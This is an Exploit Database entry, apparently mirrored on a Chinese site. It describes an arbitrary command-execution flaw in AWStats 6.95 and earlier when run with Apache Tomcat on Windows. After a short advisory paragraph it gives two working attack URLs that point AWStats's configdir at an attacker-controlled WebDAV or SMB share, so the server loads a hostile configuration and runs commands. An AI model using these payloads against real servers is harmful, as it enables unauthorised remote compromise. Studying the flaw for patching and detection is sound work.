AWStats 6.x – Apache Tomcat Configuration File Arbitrary Command Execution

• Exploit Database
• 120 阅读

• 作者： StenoPlasma
  日期： 2010-11-30
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/35035/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14

  source: https://www.securityfocus.com/bid/45123/info   Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.   An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.   AWStats 6.95 and prior versions are vulnerable.   Attacking Windows XP Apache Tomcat AWStats Server: http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav   Attacking Windows 2003 or Windows XP AWStats Server: http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share